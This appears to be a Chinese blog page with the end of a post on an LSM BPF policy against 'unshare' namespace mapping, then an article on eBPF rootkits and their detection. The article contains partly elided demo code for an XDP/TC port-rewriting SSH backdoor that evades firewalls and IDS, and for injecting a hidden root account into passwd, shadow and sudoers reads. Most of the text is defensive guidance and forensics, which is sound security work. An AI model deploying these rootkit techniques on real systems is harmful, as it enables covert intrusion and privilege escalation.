uid=1000(fred) gid=1000(fred) groups=1000(fred) … 这个策略还有一项始终允许特权通过的功能。 $ sudo unshare -rU # id uid=0(root) gid=0(root) groups=0(root) 在无特权场景中,系统调用会提前中止。 有特权情况下的性能影响是什么? 性能对比 我们将使用一行unshare命令来映射用户命名空间,并在中执行一个命令来进行测量: $ unshare -frU --kill-child -- bash -c "exit 0" 使用系统调用unshare enter/exit的CPU周期间隔,我们将以root用户身份测量以下内容: 命令在没有策略的情况下运行 与策略一起运行的命令 我们将使用ftrace记录测量结果: $ sudo su # cd /sys/kernel/debug/tracing # echo 1 > events/syscalls/sys_enter_unshare/enable ; echo 1 > events/syscalls/sys_exit_unshare/enable 此时,我们将专门为unshare启用对系统调用enter/exit的跟踪。 现在,我们设置enter/exit调用的time-resolution来计算CPU周期: # echo 'x86-tsc' > trace_clock 接下来,我们开始评测 # unshare -frU --kill-child -- bash -c "exit 0" & [1] 92014 在新终端里运行策略,执行下一个syscall # unshare -frU --kill-child -- bash -c "exit 0" & [2] 92019 现在,我们收集到两种CALLS结果进行对比 # cat trace # tracer: nop # # entries-in-buffer/entries-written: 4/4 #P:8 # # _-----=> irqs-off # / _----=> need-resched # | / _---=> hardirq/softirq # || / _--=> preempt-depth # ||| / _-=> migrate-disable # |||| / delay # TASK-PID CPU# ||||| TIMESTAMP FUNCTION # | | | ||||| | | unshare-92014 [002] ..... 762950852559027: sys_unshare(unshare_flags: 10000000) unshare-92014 [002] ..... 762950852622321: sys_unshare -> 0x0 unshare-92019 [007] ..... 762975980681895: sys_unshare(unshare_flags: 10000000) unshare-92019 [007] ..... 762975980752033: sys_unshare -> 0x0 分别是: unshare-92014 used 63294 cycles. unshare-92019 used 70138 cycles. 两次测量之间有6,844(~10%)个周期损失。不错嘛! 这些数字是针对单个系统调用的,代码调用的频率越高,这些数字就越多。 Unshare通常在任务创建时调用,在程序的正常执行期间不会重复调用。 对于你的场景,需要仔细考虑评估。 结尾 我们了解了LSM BPF是什么,如何使用unshare将user映射到root,以及如何通过在eBPF中实现程序来解决真实场景的问题。跟踪准确的钩子不是一件容易的事,需要有丰富的编码经验,以及丰富的内核知识。 这些策略代码是用C语言编写的,所以我们可以因地制宜,不同的问题做不同的策略,代码轻微调整,就可以快速扩展,增加其他钩子点等。最后,我们对比了这个LSM程序的性能影响,性能与安全的权衡,是你需要考虑的问题。 Cannot allocate memory(无法分配内存)不是拒绝权限的最准确的描述。 我们提出了一个补丁,用于将错误代码从cred_prepare挂钩传到调用堆栈。 最后,我们的结论就是eBPF LSM钩子非常适合实时修复Linux内核漏洞,你要来试试吗? 2022-06-30 2 0
Linux中基于eBPF的恶意利用与检测机制 首发 本文首发与【美团安全应急响应中心】微信公众号。 前言 近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。 系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。 eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。 现状分析 在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示: 海外资料 Black Hat 在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。 DEFCON 在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。 国内资料 国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。 eBPF技术恶意利用的攻击原理 知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些? 从eBPF的功能来看,提供了 网络 监控 观测 跟踪&性能分析 安全 等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。 我们回顾一下eBPF技术的hook点: 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路, 从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。 Linux网络层恶意利用 Linux系统运行时恶意利用 网络层恶意利用 以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。 假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢? XDP/TC层修改TCP包 为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。 按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。 XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。 前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。 控制链路 在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。 认证密钥 由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口) eBPF uprobe与eBPF map联动 对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。 XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。 实现流程 举个XDP处理ingress的例子 SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt; //判断是否为SSHD的协议,不是则直接放行 if (!(不是SSHD协议(&c))) { return XDP_PASS; } //判断rootkit是否匹配,网卡信息与来源端口是否匹配 hack_mac[] = "读取bpf map配置。" if(密钥不匹配) { return XDP_PASS; } // 读取map,是否已经存在该client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN); struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key); // 如果没找到伪装信息,则自己组装 if(!client_value) { __builtin_memset(&client_value, 0, sizeof(client_value)); } else { bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); } // 伪装mac局域网mac信息 pkt.eth->h_source[0] = 0x00; ... // 替换伪装ip来源 ,客户端端口不变 // 更改目标端口 pkt.tcp->dest = htons(FACK_PORT); //22 //计算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum; //写入已伪装的map,用于TC处理egress的原mac、IP信息还原。 return XDP_PASS; } 比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图: 这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。 视频演示 笔者准备了三台主机测试: 入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:vm-ubuntu,IP为172.16.71.3。 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。 危害 这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? linux系统运行时恶意利用 云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。 实现流程 回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 tracepoint事件类型hook 在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。 用户态生成payload 用户态实现/etc/passwd、/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。 import "github.com/ehids/ebpfmanager" // 通过elf的常量替换方式传递数据 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor } func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), } } 内核态使用payload const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN]; SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0; } 按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图: 不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。 视频演示 危害 云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕? 然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。 综述 从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF - Warping reality using eBPF一文。 若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。 常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。 传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。 那面对这种后门,该如何检测防御呢? 检测防御 从事件发生的过程来看,分为三个阶段: 运行前 运行时 运行后 运行前 在恶意程序运行前,减少攻击面,这个思路是更古不变的。 环境限制 不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。 seccomp限制 在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。 内核编译参数限制 修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。 非特权用户指令 大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。 //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240 if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM; 开关确认 在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/ 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1 特征检查 有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。 lwn.net中也列出这个话题:BPF字节码签名计划 。 但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。 笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o 运行检查 大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。 用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。 运行时 监控 linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。 并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。 SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0; } 这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent 当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢? 这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。 审计&筛查 上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。 根据程序白名单筛选 数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。 获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。 参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。 根据SYSCALL类型筛选 在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写的安全风险比读大。所以,我们可以过滤掉读操作,只上报、审计写操作。 比如: MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH 尤其是有BPF需求的业务场景,可以更好的审计日志。 运行后 问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择? 要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。 文件描述符与引用计数器 用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。 在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。 但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。 溯源 在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。 短生命周期 BPF程序类型代表 k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport 特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。 bpftool工具 eBPF程序列表 命令bpftool prog show,以及bpftool prog help查看更多参数。 结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。 另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。 eBPF map列表 命令bpftool map show,以及bpftool map help查看更多参数。 通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。 bpflist-bpfcc bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例 root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes: open uprobes: PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5 可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。 长生命周期: BPF程序类型代表 XDP TC LWT CGROUP 上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。 ip命令加载bpf原理 BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。 以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237 笔者做了抓包验证,IP关联XDP程序类型: 17:53:22.553708 sendmsg(3, { msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52 可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下: 17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52 不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。 检测机制 使用原生IP、TC等命令,查看网卡加载的BPF对象。 ip link show tc filter show dev [网卡名] [ingress|egress] 使用bpftool命令查看 bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。 CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图: BPFFS 除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。 BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。 检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。 在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。 确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。 取证 内核已加载的BPF对象导出 bpftool工具可以导出有FD ID的PROG、MAP。 BPF PROG程序 可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。 root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }] BPF MAP 与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。 root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ... BPFFS BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help。 内核未加载的BPF对象 当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。 以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。 IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。 因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。 字节码分析 BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,有兴趣可以读读。 防御 eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程的namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。 同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。 LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) { return -EPERM; } 在系统的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。 工程实现 练手 入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。 类库选择 工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。 笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。 当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。 系统兼容性 CO-RE eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增, 这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。 因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。 可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide 大型项目 在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。 总结 随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。 